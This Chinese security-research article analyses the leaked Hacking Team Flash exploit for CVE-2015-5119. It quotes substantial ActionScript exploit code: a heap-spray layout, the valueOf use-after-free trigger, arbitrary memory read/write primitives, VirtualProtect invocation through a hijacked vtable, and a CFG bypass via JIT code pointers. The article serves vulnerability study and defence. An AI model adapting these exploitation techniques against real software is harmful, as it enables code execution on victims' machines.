7月以来泄露的0day还真是让人欢喜让人忧。相比于Malwaredontneedcoffee时不时放出样本中不人道的混淆加密,人家HackTeam提供的可是缩进工整、变量命名规范、有注释、有辅助调试模块的Exploit工程。微量的堆喷射,直接利用类成员变量读取对象地址,全程无需ROP还顺便绕过了CFG,兼顾了各版本的Debug和Release的Flash以及Windows和OSX,利用代码着实可圈可点。
目前已有数份相关分析报告(见参考链接[1]和[2])对valueOf导致UAF的原理进行了披露,本文以CVE-2015-5119为例分享漏洞触发后的HackTeam精心调教的利用技巧。
利用代码起始于MyClass的静态函数TryExpl,同时Myclass也是提供覆写valueOf的漏洞利用类。触发前,首先要将待释放的ByteArray放到合适的位置。
var alen:int = 90; var a = new Array(alen); if (_gc == null) _gc = new Array(); _gc.push(a); // protect from GC // for RnD for(var i:int; i < alen; i+=3) { a[i] = new MyClass2(i); a[i+1] = new ByteArray(); a[i+1].length = 0xfa0; a[i+2] = new MyClass2 (i+2); }
由于后续操作牵涉大内存申请/释放,可能导致垃圾回收。为了确保喷射的堆内存不会影响到漏洞的稳定利用,特意使用_gc(MyClass的静态成员,不会因为后续垃圾回收被清空内存)存放所有申请的内存。路径 root->MyClass->_gc->a->MyClass2的存在保证无论是常规清理还是Mark&Sweep都无法干扰到利用过程中所使用的内存。
常见的堆内存喷射用的无非是ByteArray或Vector,这次却直接用MyClass2这个类的实例来填充。MyClass2继承MyClass1,MyClass1继承ByteArray,目的应该是确保使用MyClass2实例喷射的内存能够和ByteArray喷射的内存共同占据连续内存。 MyClass2自身包含900个uint类型的成员变量(a0~a900),且因继承MyClass1,还会包含4个Object类型的成员(o1~o4),所以MyClass2共占用:[堆头:0x20]+[MyClass类自身和继承等带来的一系列结构:0x5C]+[4个Object:4*4]+[900个uint:900*4],也就是0xE9C字节(Flash-Debug-17.0.0.188),最后对齐到了0×1000字节的内存块。ByteArray的长度为0xfa0,也对齐到了0×1000字节的内存块。
猜测这两个不整齐的数字是考虑不同版本的Flash及操作系统都对MyClass2大小的影响,所以预留的空间是确保今后版本更新变化也无需修改代码。喷射后的内存结构示意如图1:
图1. 0×3000为基本重复单元,两个MyClass2中间夹着ByteArray.
在MyClass2初始化时,o1初始化为类自身的atom指针,a0初始化为MyClass2在a数组中的序号,便于快速索引,而后的63个成员变量设为0×11223344,用于标记定位。
function MyClass2(id:int) { o1 = this; a0 = id; for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344; }
对于MyClass2,0×1000块中+0×20为类实例的存放起始地址,+0x7C是o1~o4变量的存放位置。图1中,位于0x0757007C的o1存放的值刚好是MyClass2地址+1(0-untagged, 1-object, 2-string, 3-namespace, 4-undefined, 5-boolean, 6-integer, 7-double)。变量o1被频繁用于获取AS3对象的地址,余下o2~o4为null。0x0757008C为a0,存放了该MyClass2在数组中的索引序号,这样一旦通过超长Vector读取到该序号index,可以直接调用a[index]取得MyClass2的引用句柄。
喷射的堆块开始部分可能会因碎片内存难以出现连续的0×3000块,但后续区块基本可以稳定出现所需的结构。所以在尝试触发漏洞的时候,优选末尾的0×3000向前遍历,多轮循环保证即便碰上页边界时,总会找到符合条件的连续块:
var v:Vector.<uint>; for(i=alen-5; i >= 0; i-=3) { _ba = a[i]; _ba[3] = new MyClass(); ... prototype.valueOf = function () { _va = new Array(5); _gc.push(_va); _ba.length = 0x1100; for(var i:int; i < _va.length; i++) _va[i] = new Vector.<uint>(0x3f0); return 0x40; }
每轮循环中的_ba都指向了0×3000块中间的ByteArray,当执行赋值操作时触发valueOf修改了_ba指向的ByteArray长度,导致其内存迁移,原内存释放,_ba指向已经释放的内存。最后通过同样对齐到0×1000字节的Vector占位,_ba[3]实则指向了新申请Vector长度字段的高8位。0×40写入后,Vector长度被修改为0x400003f0。
值得注意的是_ba[3]=new MyClass(),既然是声明了新MyClass实例,按说其强制转换调用valueOf就算修改也是修改了新实例的_ba,不会影响当前MyClass中的_ba才对。 如果希望影响当前_ba,似乎_ba[3]=this才是更合理的语句。但_ba[3]=this是通不过编译的,要是通过篡改字节码或者其他技巧达成类似效果,利用代码模板就失去了本意的便捷。为了能够篡改当前类的_ba, HackTeam将它声明为静态变量,这样_ba在类的所有实例中指向相同,修改新建的MyClass里的_ba一样可以影响当前类_ba指向的ByteArray。成功篡改长度后,内存格局如图2:
图2. 被篡改长度的Vector位于0×3000单元的中间,替代了原ByteArray.
得益于此前堆分布,定位Vector自身或是其他AS3对象的绝对地址变得异常容易:
for(var j:int=0; j < _va.length; j++) { v = _va[j]; if (v.length != 0x3f0) { var k:int = 0x400 + 70; if (v[k] == 0x11223344) { do k-- while (v[k] == 0x11223344); var mc:MyClass2 = a[v[k]]; ... ShellWin32.Init(v, (v[k-4] & 0xfffff000) - 0x1000 + 8, mc, k-4)
首先遍历找到被修改了长度的vector,而后使用索引0×400+70查看(0×400+70)*4+8+0×07571000=0×07572120处的内存,恰落入0×11223344所在0×07572090~0×07572190块中间,依此可检验内存块是否分布正确。再向前找到第一个不为0×11223344的值,即MyClass2所在的序号了,通过数组a加序号索引就能找到相邻MyClass2类的句柄。其实,这些个对象用固定偏移来找问题并不大,可能HackTeam太顾及多版本差异,为未来着想,一定预留浮动范围,然后靠小循遍历定位,确保一劳永逸,如此精雕细琢的利用代码当然是稳定的不像话。a0所在位置k再向前4个元素,v[k-4]刚好指向o1,减1就是MyClass2的实际地址,&0xfffff000就是MyClass2所在0×1000块的首地址,-0×1000+8就得到了v[0]所指向的绝对地址,存入vAddr。
从此,用v[(address-vAddr)>>>2]可以访问任意地址内存,而mc.o1=Object后v[k-4]-1可以得到AS3任意对象的绝对地址。两个功能包装好了,就是ShellWin32.as里的GetAddr和Get:
static function GetAddr (obj:Object):uint { _mc.o1 = obj; return _v[_mcOffs] - 1; } static function Get (addr:uint):uint { return _v[(addr - _vAddr) >>> 2]; }
有了基本的地址信息,代码转入ShellWin32的Exec。首先要取得shellcode所在地址:
var xAddr:uint = GetAddr(_x32); xAddr += _isDbg ? 0x1c : 0x18; if (Get(xAddr) < 0x10000) xAddr -= 4; // for FP 11.4 Addr = Get(xAddr) + 8;
_x32是Vector.<uint>,但Vector实际存储的缓冲区指针在Release和Debug版分别放置于偏移0×18或0x1C的位置。为了顾全所有版本,还要注意到Flash 11.4版本以前是没有这个偏移区别的。11.4后,Debug版的Vector在缓冲区指针前加入了一个0×00000001字段,如图3:
图3. 左侧是11.4以前Release和Debug的Vector对比,右侧是11.4以后的对比.
然后找一个虚函数表地址对齐0×10000反向递进到PE头,再按照PE结构从导入表中可以找到VirtualProtect的API的地址。接下来,CallVP调用VirtualProtect开启执行权限还是一如既往的利落,面面俱到,省去了繁琐的ROP,站在前面铺垫的代码基础上没偷懒,反而更上一层楼。核心思想是替换ExecMgr虚函数表的call函数指针,指向VirtualProtect:
static function Payload(...a){} static function CallVP(vp:uint, xAddr:uint, xLen:uint) { Payload(); // generate Payload function object var p:uint = GetAddr(Payload); var ptbl:uint = Get(Get(Get(Get(p + 8) + 0x14) + 4) + (isDbg ? 0xbc:0xb0)); var p1:uint = Get(ptbl); var p2:uint = Get(p+0x1c); var p3:uint = Get(p+0x20);
上述代码粗体部分可能是最不直观的一环,此前也没遇见过,乍一看,好像得把AS3好多结构体逆通才能算出来他们的偏移。其实转头看看Flash中FunctionObject::AS3_call的代码就全明白了:
int AS3_call(void *this, int thisArg, int *argv, int argc) push ebx push esi mov esi, ecx mov ecx, [esp+8+thisArg] mov eax, [esi] mov edx, [eax+8Ch] push edi push ecx mov ecx, esi call edx mov ebx, eax mov eax, [esi+8] mov ecx, [eax+14h] mov edx, [ecx+4] mov eax, [esi] mov edi, [edx+0B0h] mov edx, [eax+90h] lea ecx, [esp+0Ch+thisArg] push ecx mov ecx, esi call edx mov ecx, [esp+0Ch+argv] mov eax, [eax] mov edx, [edi] mov edx, [edx+1Ch] push ecx mov ecx, [esp+10h+argc] push ecx push ebx push eax mov ecx, edi call edx pop edi pop esi pop ebx retn 0Ch
Payload是FunctionObject类型,调用Payload.call的时候,最终会走向FunctionObject::AS3_call,其内部调用core()->exec->call跳转到Payload对象JIT出来的代码。由于是FunctionObject和ExecMgr等的继承关系,能够直接通过自身结构定位到ExecMgr的虚函数表。 有了这段汇编代码,无需搞清楚错杂的继承也很容易知道偏移的计算方法。刚进入AS3_call的时候,ecx也就是随后的esi指向了Payload对象,即AS3中p = GetAddr(Payload)的p值。参考粗体部分的汇编代码,ExecMgr的对象的虚函数表位于[[[[[esi+8]+0×14]+4]+0xB0],偏移0处就是其虚函数表,即AS3代码中的ptbl所指。后三行粗体表明call地址位于虚函数表的偏移+0x1C位置。core()->exec->call会牵涉一些其他虚函数的调用,所以HackTeam连同其虚表上下共0×400字节全部做了备份,然后在备份上改写+0x1C处为VirtualProtect的地址:
for(var i:uint; i < 0x100; i++) _v[i] = Get(p1-0x80 + i*4); _v[0x20+7] = vp; // 0x1C/4=7 Set(ptbl, _vAddr + 0x80);
现在调用Payload.call就会跳转到VirtualProtect执行了。劫持ExecMgr.call理解起来比Sound.toString或者FileReference.cancel繁琐了不少,但相比之下,传参给VirtualProtect时就省了ROP。
观察上述汇编代码,core()->exec->call(env, thisArg, argc, argv)和VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldProtect)一样都是四个参数。argc, argv两个参数含义好理解,就是AS3层调用Payload.call时候传入参数个数和参数所在的数组,只要让参数个数为0×40,flNewProtect就变为RWX了,argv本来指向的就是存储参数的可写堆内存,也不用操心。前两个参数实际上是位于Payload对象的0x1C和0×20位置处两个数值,如图4所示:
图4. 左侧是Payload对象内存,右侧是core()->exec->call()时的栈.
直接改写Payload的内存就可以控制VirtualProtect参数,将这两个地址替换成shellcode的地址和其长度。所以最后在AS3层调用VirtualProtect就变成了:
Set(p+0x1c, xAddr); Set(p+0x20, xLen); var args:Array = new Array(0x41); var res = Payload.call.apply(null, args);
观察HackTeam用的代码中并没有直接call,而是call.apply,其实是仅仅为了书写方便而已,写成Payload.call(null,null,…null),共0×41个null也是可用的。之所以是0×41而不是0×40,是因为第一个null为调用者而不是函数参数。call(object, param1, param2…)和apply(object, new Array(param1,param2…))是等价的。args按说完全是参数数组了,长度还要设置为0×41是因为apply的调用者为call,而object指针不会从apply向call传递。在call看来传过来参数包含了object指针和参数,所以数组的第一个参数就作为了object指针,也就是这种传递过程会吃掉一个参数。
调用VirtualProtect后再恢复修改过的虚函数表和Payload内存就可以执行shellcode了。
上述执行VirtualProtect的方法用来执行shellcode也是可用的。但人家偏不复用,非要换一个方法,即直接替换Payload的MethodEnv->MethodInfo里存储的JIT后的代码地址,非常类似Core Security提出的绕过CFG的方法(见参考链接[3])。
Payload对象+0x1C存储了MethodEnv指针,MethodEnv的+8指向MethodInfo,MethodInfo+4就是_implGPR,存储JIT后的代码地址。所以调用shellcode的AS3代码就变为:
var payAddr:uint = GetAddr(Payload); payAddr = Get(Get(payAddr + 0x1c) + 8) + 4; var old:uint = Get(payAddr); Set(payAddr, xAddr); var res = Payload.call(null);
虽然触发条件仍然是Payload.call,但上次是替换了ExecMgr的虚函数call,而这次是直接替换了JIT后的代码地址。JIT代码调用不在CFG监测的范围,而ExecMgr的虚函数表可能是过于频繁使用,出于性能考虑,也没有CFG的守护。
其实用JIT的方法调用shellcode的好处还在于,shellcode可以可以返回需要的结果让AS3获取以指导下一步操作,比如EAX存储了CreateProcessA的执行结果,返回前构造一段类似下面的代码,让EAX转化为atom:
04DDE32D SHL EAX,3 04DDE330 ADD EAX,6 04DDE333 LEAVE 04DDE334 RETN
res = Payload.call(null)后,AS3可以根据进程创建情况判断沙箱的限制,以决定是否进一步部署内核漏洞利用代码进行权限提升。
HackTeam的Flash Exploit在超长Vector获取前的堆分布,获得后的代码执行阶段加入了不少独辟蹊径的技巧,对不同版本和操作系统的考量也让利用代码异常稳定。只是如今随着Adobe在18.0.0.209时引入了Vector内存隔离和类似对抗JIT-Spray的长度异或校验(见参考链接[4]),这套利用模板已经不能走得更远了。一整年的喧嚣后,Flash大概也想清静一下了。
[1] http://blogs.360.cn/blog/hacking-team-flash-0day/
[2] http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.qF1hVN&id=24
[3] https://blog.coresecurity.com/2015/03/25/exploiting-cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3/
[4] http://googleprojectzero.blogspot.com/2015/07/significant-flash-exploit-mitigations_16.html
* 作者/ADLab(启明星辰积极防御实验室),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)